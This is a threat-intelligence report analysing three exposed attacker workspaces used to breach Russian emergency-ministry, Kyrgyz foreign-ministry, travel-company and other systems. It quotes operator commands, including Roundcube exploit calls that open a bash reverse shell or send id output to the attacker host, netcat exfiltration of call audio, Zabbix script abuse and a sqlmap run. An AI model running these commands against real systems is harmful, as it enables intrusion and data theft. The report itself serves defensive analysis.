Russian and Allied Government Systems Compromised in Targeted Campaigns

29.9.26  APT  Ctrl-Alt-Intel
Threat Research

Russian and Allied Government Systems Compromised in Targeted Campaigns
Three exposed operator workspaces reveal confirmed access to Russian and Kyrgyz government systems, a Syrian Customs C2 inventory, stolen data and wider targeting of Russian state and industrial organisations.

Overview#

Using Hunt.io’s AttackCapture, we identified three exposed operator workspaces linked to compromises against Russian, Kyrgyz and Syrian government systems.

The three workspaces document different outcomes:

• Confirmed application compromise: A roleless account accessed protected administrative data in the Atlas platform used by Russia’s Ministry of Emergency Situations, or MChS, and changed application state.

• Confirmed SharePoint compromise: The same workspace contained evidence that a forged site-administrator token and a SharePoint exploit chain reached code execution at Russia’s United Engine Corporation, or UEC.

• Confirmed server execution: Uploaded PHP ran as www-data on a Kyrgyz Ministry of Foreign Affairs, or MFA, web host. VShell-compatible agents later ran from /tmp.

• Reported historical C2 access: A separate database recorded Syrian Customs hostnames and privileged account contexts.

• Repeated targeting: A third workspace repeatedly targeted Kyrgyzstan’s national security webmail and Russian systems with public exploits and supplied credentials.

Hunt.io first observed the open directories on these dates:

Campaign separation: These are three separate campaigns. Attribution is assessed separately for each campaign. We compare them because each open directory exposed government targeting or compromise.

Russia: EMERCOM Atlas Compromise and Wider Targeting#

Figure 1. Hunt.io AttackCapture view of the exposed 45.151.139[.]249:8765 workspace, showing 1,620 files across 11 subdirectories when captured.

The first open directory exposed a broad offensive workspace. Ukrainian-language strings appeared throughout the playbook, including scripts, comments and operator-facing text. Ctrl-Alt-Intel is not attributing this to any known group or threat actor.

MChS received focused attention:

• 18 ministry-related domains were shortlisted.

• 18 public IP addresses were selected.

• Targets included mapping, authentication, dispatch, file-sharing and administrative services.

• The strongest result came from Atlas, an emergency-management mapping platform.

What EMERCOM is#

EMERCOM is Russia’s federal emergency ministry. Its full translated name is the Ministry of Civil Defence, Emergencies and Disaster Relief of the Russian Federation. Its remit covers civil defence, disaster relief and the coordination of responses to major emergencies.

One EMERCOM subdepartment is the Information and Analytical Center of EMERCOM of Russia, commonly shortened to IAC EMERCOM. It is reportedly responsible for the ministry’s internal IT and information security.

IAC EMERCOM also appeared in our earlier research, Burnt by Burgers: Highlighting Void Blizzard’s Russian State Links. That investigation found:

• Identifiers attributed to suspected Void Blizzard member Denis Obrezko were connected to an IAC EMERCOM work number and repeated activity at EMERCOM facilities during 2021.

• US filings allege that Obrezko previously worked for the FSB and later became deputy director of Yutek-NN.

• The same filings link Yutek-NN to Void Blizzard, a Russian state-aligned cyberespionage group.

• We identified three publicly declared career transitions between Yutek-NN and IAC EMERCOM personnel.

These relationships make IAC EMERCOM a relevant suspected link to state-sponsored espionage. The finding concerns personnel and organisational links between IAC EMERCOM and Yutek-NN.

A roleless Atlas account reached administrative data#

Atlas is an internally developed official EMERCOM hazard and emergency-risk GIS with both public and restricted components.

Figure 2. EMERCOM Atlas of Hazards and Risks interface.

From EMERCOM press center: This year, the “Atlas of Hazards and Risks” information system successfully completed a pilot operation. It currently contains data on various natural and man-made hazards and threats currently affecting Russia’s regions. These include, for example, wildfires, floods, power outages in populated areas, transportation disruptions, epidemics, and more. The information will be expanded and updated in the future. The service is already publicly available online.

The retained profile identified a “Test Operator” account whose assigned-role and additional-permission arrays were empty:

{
  "isAdmin": false,
  "isSuperUser": false,
  "roles": [],
  "additionalPermissions": []
}

Despite that state, 15 of 29 administrative probes returned data. The operator could read roles, permissions, forms, categories, import definitions, metrics, regions, map-service settings and external connections.

The route behaviour showed inconsistent authorisation:

• Direct role and permission routes returned 403.

• Parallel /search routes returned the protected records.

• Some requests added X-Closed-Network: true, apparently to claim an internal-network context.

Samples of the stolen ATLAS data#

The Atlas theft exposed operational structure, configuration and credentials.

The atlas_mchs_dump.tar.gz archive contains 15 JSON exports totalling 3.32 MB uncompressed.

The complete category hierarchy contained 459 nodes across 15 roots. Of these, 397 were marked authorizedOnly: true.

The retained form schemas show the types of information Atlas was designed to hold:

• Dispatch services: communications equipment, radio, satellite and Internet channels, address and region.

• Temporary accommodation points: institution name, address, phone number and capacity.

• Education facilities: occupancy, fire resistance, alarms, resources and daytime or night-time population.

• Wildfire-exposed settlements: municipality and settlement names.

• Hazardous road sections: road name, kilometre marker, length, capacity and description.

• Airports: municipality, location, characteristics, weather and major incidents.

• Civil-defence authorities: authority name, address, public phone number and email address.

The archive contains 1,059 form definitions with 6,667 fields. These schemas reveal the breadth and structure of information Atlas was designed to collect.

The form catalogue included:

• 73 forms associated with fires or fire-response infrastructure.

• 61 forms whose names described hazardous locations or conditions.

• Radiation monitoring and radiation-hazard facilities.

• Hospitals, medical organisations and vaccination sites.

• Airports, aerodromes and helicopter landing sites.

• Oil and gas pipelines, terminals, storage and pumping facilities.

• Hydrotechnical structures, bridges and flood-prone infrastructure.

• Electricity, heating and water-supply infrastructure.

• Population evacuation and temporary accommodation.

The operator also obtained all nine returned Kafka import definitions:

Other stolen administrative data included:

• All 20 returned roles, including regional operators, a moderator and a super-user role.

• 100 permission definitions for users, roles, tokens, Kafka imports, WMS, external databases and layer import or export.

• All 45 returned environmental metric definitions.

• Eight federal-district records, each parented to Russia.

• Six legitimate WMS layer configurations and one temporary test layer.

• 46 PNG attachments totalling 41.3 MB, mostly regional emblems and hazard or map icons.

The files gave the operator a working blueprint of Atlas: its protected data catalogue, administrative model, regional organisation, integrations and map-service plumbing.

The operator changed Atlas state#

At 19:19:41 +03 on 27 August 2026, a new external connection named SSRF Test appeared. An existing Greenplum connection was updated 51 seconds later and displayed as Greenplum_revealed.

A second snapshot sequence showed:

• Six legitimate WMS layers.

• Seven layers after a published Test WMS entry appeared.

• Six layers again after the test entry disappeared.

The test layer pointed to an out-of-band callback service. A response collected through the Atlas tile proxy confirmed that the server fetched the operator-controlled URL.

The activity comprised unauthorised administrative reads, configuration changes and a demonstrated server-side request.

Wider Russian targeting from the same workspace#

The Atlas evidence sat inside a much broader Russian target set. We count a domain as targeted when it appeared in target-specific tooling or a follow-up exploit pool. We excluded large passive discovery lists and certificate-transparency results from the attack count.

The clearest additional organisations were:

The UEC artefacts went further than a scanner. The operator generated unsigned SharePoint tokens, queried administrative APIs, overwrote a Business Data Connectivity model with injected C#, triggered it through ProcessQuery, restored the original model and read results from SiteAssets. The injected process attempted to launch sqlcmd and terminated with an error before producing membership hashes.

The attempted post-exploitation command targeted SharePoint’s forms-based authentication database. Sensitive query details are shortened here. The objective and result are clear:

sqlcmd.exe -S [database host] -d aspnetdb -E -Q
  "SELECT UserName, Password, PasswordFormat, PasswordSalt, Email, LastLoginDate ..."

exit=1
cmdout=Windows command-resolution error for "C:\Program"
no_outfile

Other named targets included:

• pmu.ru, kchk.ru, uralagro.ru and td.uralchem.ru, all selected in the same fertiliser-sector workstream, were scanned for web, SSH, database and mail services. pmu.ru received a focused MySQL 5.7.21 password and anonymous-login attack. The files label bhz.kosnet.ru and bhz.com as possible Bui Chemical Plant infrastructure and record targeting against both.

• gbi-24.ru, a Russian supplier of reinforced-concrete products, was tested for FTP, SSH and mail exposure, SMTP user enumeration, relay behaviour and default IMAP credentials.

• eidosfilm.ru, a Russian film and media-production site, received WordPress backup and installation checks, XML-RPC password guessing, pingback SSRF probes and mail-relay tests.

• stends.ra-riss.ru, an RISS-associated hostname, received WordPress oEmbed, redirection, DNS-rebinding, Grafana and Portainer SSRF probes.

• zr.ru, the Russian automotive publication Za Rulem, appeared in a Bitrix administrator password attack against associated infrastructure.

• aiggroup.ru, exelab.ru and i.nsk.ru were selected as WordPress exploit candidates. The retained result marks every attempted shell deployment as unsuccessful.

• i.realty.ru and www.meta-invest.ru were tested with Adminer file-write payloads. The recorded shell URL returned 404.

• 200hramov.mos.ru, a.rgis.rk.gov.ru, ag.rgis.rk.gov.ru and gasu.gov.ru were sent GeoServer data-store injection and operating-system command payloads. The retained results recorded zero shells and zero successful callback canaries.

The workspace also held two APISIX route exports containing 1,151 entries. Many routes embedded Lua functions for arbitrary command execution, internal-port discovery, metadata-service access and SSH-key persistence. We report these as unattributed route artefacts and omit them from the named victim count.

Mass Bitrix follow-up

A separate automated lane moved 76 valid Russian domains into Bitrix follow-up or exploitation lists. The tooling attempted CVE-2022-27228 agent injection and PHP shell creation. The terms confirmed and vuln in the filenames describe product detection or operator triage. A retained 100-host test logged zero shells.

Union Travel: from default credentials to a private network#

The same workspace contained stronger operating-system and data-theft evidence at Russian travel company Union Travel.

A Zabbix instance linked to the travel company accepted its documented default administrator credentials. The operator abused Zabbix’s script functions:

api("script.update", {"scriptid": sid, "command": cmd}, token)
api("script.execute", {"scriptid": sid, "hostid": hostid}, token)

The retained automation shows hands-on post-exploitation commands. These examples are shortened and defanged:

for p in 22 80 443 445 3389 3306 8080 5432; do
  (echo >/dev/tcp/192.168.115.20/$p) 2>/dev/null && echo "OPEN:$p"
done

find / -name 'zabbix.conf.php' 2>/dev/null | head -3
cat /var/www/html/zabbix/conf/zabbix.conf.php 2>/dev/null | grep -E 'DB_|USER|HOST'

Transfer and tunnel logs recorded the next steps:

• chisel was downloaded at 21:45:37 on 29 August 2026.

• A reverse SOCKS tunnel was listening three seconds later.

• fscan was downloaded at 21:47:11.

• The operator scanned 192.168.115.0/24.

• The scan recorded 914 checks and 95 open ports.

Internal results identified office.union-travel.ru, named workstations, cameras, printers, SIP devices, databases, file-transfer services and Windows systems.

The operator then collected call audio. A retained command shows the transfer pattern:

curl -sk 'hxxps://192.168.115.25/<date>/<recording>.mp3' |
  base64 | nc -w 5 45.151.139[.]249 9191

The open directory held four SQL dumps totalling 133.6 MB and 406,654 inserted rows. Counts of distinct names ignore differences in case and whitespace, while distinct phone counts use normalized digit strings:

• cdr.sql: 297,941 call-detail records containing caller and callee identifiers, routing, duration, disposition, remote IP and recording filenames. The records cover 162,577 distinct linked call IDs, a closer approximation of individual call sessions because a PBX can write multiple legs for one call. Stored call times begin at 2022-09-16 18:11:15 and end at 2026-08-12 16:29:54. The dump records 159,716 answered entries, 133,320 unanswered entries, 3,645 busy entries and 1,260 failed entries.

• clients.sql: 6,784 client rows. Every row had both a name and telephone field populated, representing 6,189 distinct normalized names and 2,968 distinct normalized phone values. The records also linked clients to countries and legal entities.

• tickets.sql: 34,946 ticket rows and 29 staff-account rows. Payment context was present in every ticket row. The data included 18,770 populated client-name fields representing 5,086 distinct stored names, 5,892 route fields covering 476 distinct route strings, and 13,748 populated itinerary-segment fields. Ticket prices, commissions, offices, managers and comments were also exposed.

• tourists.sql: 66,954 traveller rows. Of these, 66,426 contained at least one name component, producing 58,772 distinct normalized full-name strings. There were 5,198 populated email fields representing 5,192 distinct stored strings, including 5,107 with an @ character. Phone data appeared in 37,735 traveller rows, with 40,351 populated phone fields across the primary, mobile and home columns and 37,579 distinct normalized values. Address data appeared in 46,252 rows, employer information in 1,053 rows and tax identifiers in 946 rows. Dates of birth and sex were also included.

The user table also contained password and authentication-key fields, which we redacted.

Seven MP3 files represented six unique recordings. This confirms customer and employee data theft, call metadata collection and audio exfiltration.

Tooling and success#

This workspace favoured simple, repeatable tools:

• chisel for reverse tunnels and SOCKS access.

• fscan, Masscan and Nmap for discovery.

• Zabbix scripts and Jenkins jobs for command execution.

• Redis cron and Patroni configuration changes for further access attempts.

• Short Python, shell and JavaScript programs tailored to individual services.

The collection shows discovery, weak credentials or exposed administration, command execution, tunnelling, internal discovery and data collection. Malware activity centred on tunnelling and remote-access tools.

Kyrgyz MFA Compromise and a Syrian Customs C2 Inventory#

Figure 3. Hunt.io AttackCapture view of the exposed 207.148.64[.]94:8083 workspace, showing 124 retained files associated with the Kyrgyz MFA investigation.

The second directory contained the clearest government server compromise.

The first successful proof was timestamped 28 August 2026 at 16:29:16 UTC. It used an existing authenticated MFA backend session to upload a one-pixel GIF containing PHP through an embassy-image field.

The application gave the file a random name under /uploads/embassies/. Requesting the resulting .php path returned:

[GIF prefix omitted]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
__ID_EXIT_CODE__=0

This confirms command execution as the web-service account on a host named mfa, with private address 10.51.6.93.

This was an authenticated executable file upload weakness consistent with CWE-434. The retained workflow begins with an authenticated backend session.

What happened after execution#

The records show methodical post-exploitation from the web context.

The proof metadata preserves id verbatim. Returned output from the longer one-shot payloads records the following actions:

• Enumerated the default route and local 10.51.6.64/27 network.

• Checked for curl, wget and nc.

• Read .env, .env.local, .env.test, services.yaml and Git metadata.

• Read Yii and Symfony configuration.

• Recovered database, application, API, cookie-signing and JWT-related secrets.

• Queried local PostgreSQL as user utn.

• Listed public tables, database roles and plpgsql.

• Enumerated SUID files, sudo behaviour, services, cron directories, timers and root-owned processes.

• Inspected Bitdefender and Puppet components.

• Tested SSH, Redis, PostgreSQL and MySQL credentials against internal systems.

• Probed internal web applications and framework debug paths.

Commands captured through the webshell#

Several response bodies preserved the complete sh -c command line because the operator included the active shell in process searches. One request verified the first VShell-compatible agent, identified its format and hash, checked whether it was running, inspected port 8085 and printed the local routes:

id; echo __FORWARD_DIAG__; sha256sum /tmp/.mfa-vshell-forward-8085 2>&1; wc -c /tmp/.mfa-vshell-forward-8085 2>&1; file /tmp/.mfa-vshell-forward-8085 2>&1; pgrep -af mfa-vshell-forward 2>&1; ss -ltn 2>&1 | grep ':8085 ' || true; ip route 2>&1

The response identified a 7,864,320-byte, statically linked x86-64 ELF running as PID 2132286. It also showed the agent listening on all interfaces on port 8085 and confirmed the host’s route through 10.51.6.65:

d0ec32e389f3ea70d70cad67061ed6fa125641925821ec0546ebc463709d8f39  /tmp/.mfa-vshell-forward-8085
7864320 /tmp/.mfa-vshell-forward-8085
2132286 /tmp/.mfa-vshell-forward-8085
LISTEN 0 4096 *:8085 *:*
default via 10.51.6.65 dev ens192 proto static
10.51.6.64/27 dev ens192 proto kernel scope link src 10.51.6.93

The implant deployment records show that the one-shot PHP payload carried the complete agent inside the upload, extracted it on the MFA server and launched it successfully:

__FORWARD_BYTES__=7864320
__FORWARD_EXIT_CODE__=0

The operator then moved the agent to port 8086 and repeated the host checks:

id; echo __FORWARD_DIAG__; sha256sum /tmp/.mfa-vshell-forward-8086 2>&1; wc -c /tmp/.mfa-vshell-forward-8086 2>&1; file /tmp/.mfa-vshell-forward-8086 2>&1; pgrep -af mfa-vshell-forward 2>&1; ss -tn 2>&1 | grep ':8086' || true; ip route 2>&1

Once direct C2 proved unreliable, another webshell request inspected the Python relay, its Unix socket, the agent process and the listening port:

id; echo __BRIDGE_DIAG__; ls -l /tmp/.mfa_target_forward_bridge.py /tmp/.mfa_target_forward_bridge.log /tmp/.mfa_forward_bridge_8086.sock 2>&1; echo __BRIDGE_LOG__; cat /tmp/.mfa_target_forward_bridge.log 2>&1; echo __PROCESSES__; pgrep -af 'mfa-vshell-forward|mfa_target_forward_bridge' 2>&1; echo __SOCKETS__; ss -ltn 2>&1 | grep ':8086' || true

The returned process and socket data showed both components running together:

2220160 /tmp/.mfa-vshell-forward-8086
2220169 python3 /tmp/.mfa_target_forward_bridge.py
LISTEN 0 4096 *:8086 *:*
srw------- 1 www-data www-data /tmp/.mfa_forward_bridge_8086.sock

These commands show an operator validating each stage from inside the compromised web context: confirm the payload on disk, hash it, check its process, confirm its listener, inspect routing and then verify the relay used to carry C2 traffic through the MFA website.

A local PostgreSQL session returned current_user=utn, current_database=utn and PostgreSQL 15.3. Visible tables included:

• person_info

• organization

• document

• accident_record

• labour_dispute_record

• Building, facility, device, ship, resolution and inspection tables

This proves database access and schema visibility.

The operator also listed a pre-existing mfafront1.zip archive of about 16 GB.

VShell agents and a web-based relay#

The operator’s first reverse-stage attempts failed with connectivity errors. The workflow changed to full Linux agents listening locally on the MFA host.

Two VShell-compatible payloads were confirmed by victim-side hashes, processes and sockets:

/tmp/.mfa-vshell-forward-8085
/tmp/.mfa-vshell-forward-8086

Traffic moved through a custom relay:

C2 service and SOCKS frontend
  -> local TCP-to-HTTPS adapter
  -> token-protected PHP endpoint on the MFA website
  -> Unix socket and Python bridge
  -> VShell-compatible agent on 127.0.0.1:8086

The victim-side components included:

• Four PHP relay endpoints under /uploads/embassies/.

• /tmp/.mfa_target_forward_bridge.py.

• /tmp/.mfa_forward_bridge_8086.sock.

• Local and public SOCKS or adapter ports.

• Repeated reconnect and recovery attempts.

This adaptive workaround provided continuing access through the already reachable web application after direct C2 failed.

A separate 9,800-byte C loader was also staged. Static analysis showed it could:

• Connect to 207.148.64[.]94:8084.

• Receive an XOR-encoded stage using key 0x99.

• Create a memory-backed file with memfd_create.

• Execute the stage with fexecve.

• Masquerade as [kworker/0:2].

Static analysis identified those capabilities in the file.

Lateral movement attempts and observed results#

The operator probed all 30 usable addresses in the local /27. Targets included storage, notification, document editing, licensing, vehicle inspection and construction services.

The supplied outcomes show clear limits:

• SSH verification: 198 attempts, zero successes.

• PostgreSQL reuse: 40 attempts, zero successes.

• Redis tests: authentication required or wrong password.

• MySQL tests: authentication denied.

• sudo: password required.

• SUID and Bitdefender checks: enumeration completed with privilege status unchanged.

• Laravel Ignition handler: debug behaviour reached during command-execution targeting.

• Unsigned JWT test: response changed from 403 to 500 and returned an application error.

The Kyrgyz MFA web host was compromised.

What the Syrian Customs records show#

A separate historical C2 database in the same directory contained 98 registrations representing 31 distinct hostname and IP pairs.

Five hostnames explicitly used customs.gov.sy:

• asyapp1

• asyw-db1

• asyw-db2

• backup-01

• oemcc

Nearby records described virtualisation, storage, monitoring, collaboration, ERP and Windows systems. Reported account contexts included root, oracle, vsphere-ui and NT AUTHORITY\SYSTEM.

The records support a historical C2 inventory of 98 agent rows associated with Syrian Customs.

Kyrgyz National Security and Russian Targets#

Figure 4. Hunt.io AttackCapture view of the exposed 89.124.123[.]216:8080 workspace, showing 53 files and 11 subdirectories containing exploit material and shell history.

Hunt.io first observed the third open directory at 89.124.123[.]216:8080 on 16 June 2026.

Its 146-line .bash_history captured a hands-on operator:

• Cloning public exploit repositories.

• Installing PHP and Python dependencies.

• Editing exploit scripts.

• Building a malicious upgrade archive.

• Starting netcat listeners.

• Retrying callbacks with different syntax.

• Moving between unrelated products and targets.

The most persistent government target was mail.gknb.gov[.]kg, associated with Kyrgyzstan’s State Committee for National Security, or GKNB.

This workspace documents targeting and attempted exploitation through target inputs, operator commands and exploit tooling.

Roundcube CVE-2025-49113 attempts#

The operator used two public proof-of-concept implementations for CVE-2025-49113, a post-authentication Roundcube remote-code-execution vulnerability involving PHP object deserialisation.

Credentials were supplied on the command line. We removed them from these examples:

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> "whoami"

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> \
  "curl hxxp://89.124.123[.]216:8080/$(id | base64 -w0)"

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> \
  "bash -i >& /dev/tcp/89.124.123[.]216/443 0>&1"

These are exact command patterns from the shell history with credentials removed and network indicators defanged.

The operator tried:

• whoami and id to confirm execution.

• Netcat callbacks on ports 443, 8080 and 8081.

• Bash /dev/tcp reverse shells.

• Base64-wrapped commands.

• HTTP callbacks carrying encoded command output.

Three Russian-language or Russian-linked mail hosts also appeared. One attempt requested cat /etc/shadow; others requested whoami or a reverse shell.

The directory records credential-supplied commands against the target webmail systems.

Other exploit tracks#

The operator moved quickly between public vulnerabilities and exposed services:

The history also recorded this exact SQL injection command:

sqlmap -u "hxxps://fas.gov[.]ru/indikativnyj-tarif-na-transportirovku-nefti/indikat?eval_id=1"

A stock p0wny PHP webshell named shell.php was staged locally. It supports command execution, file upload and download, directory navigation and several PHP execution functions. Its observed lifecycle ends on the staging server.

A 154-byte upgrade.img contained a one-line netcat reverse shell prepared for Kerio’s custom-upgrade process.

This workspace shows opportunistic tradecraft and repeated manual experimentation. Mistyped commands, invalid option combinations and payload changes suggest an interactive, troubleshooting-heavy workflow with limited automation.

Tradecraft#

The first workspace was efficient and repeatable. The operator converted exposed administration and default credentials into tunnels, internal discovery and collection.

The MFA records show more adaptive engineering:

• A one-shot PHP upload established execution.

• Direct staging failed.

• Full agents were placed on disk.

• C2 was carried through PHP, HTTPS, a Unix socket and Python.

• The operator repeatedly repaired the relay.

The third workspace was more manual and error-prone. Its shell history shows public tooling, syntax changes and repeated listeners.

Opportunism and targeting#

Focused government targeting and opportunistic scanning coexisted:

• MChS was deliberately shortlisted inside a corpus of millions of IPs.

• UEC received a tailored SharePoint chain. Uralchem, Bui Chemical Plant, DGZ and RISS received service-specific targeting.

• Another 76 Russian domains entered automated Bitrix follow-up lists. The retained 100-host test produced zero shells.

• GKNB webmail was retried many times inside a workspace covering unrelated products.

• Union Travel was a commercial target where weak management credentials led to deeper access than most government probes.

• The Syrian Customs cluster may represent earlier access, a reused C2 database or a mixed analysis environment.

Success and impact#

The campaign outcomes form this hierarchy:

1. Union Travel: confirmed host execution, private-network pivot and theft of structured personal data and call audio.

2. Kyrgyz MFA: confirmed web execution, application-secret collection, local database access and two running VShell-compatible agents.

3. UEC SharePoint: confirmed authentication bypass and injected C# execution. The database hash-dump attempt terminated with an error.

4. MChS Atlas: confirmed protected-data access and application-state modification.

5. Syrian Customs: privileged C2 registrations with limited corroboration.

6. GKNB and other Russian targets: repeated exploit, credential and reconnaissance targeting.

IOCs#

The table contains operator infrastructure and malware or host artefacts supported by the exposed workspaces. Victim-owned public systems are excluded.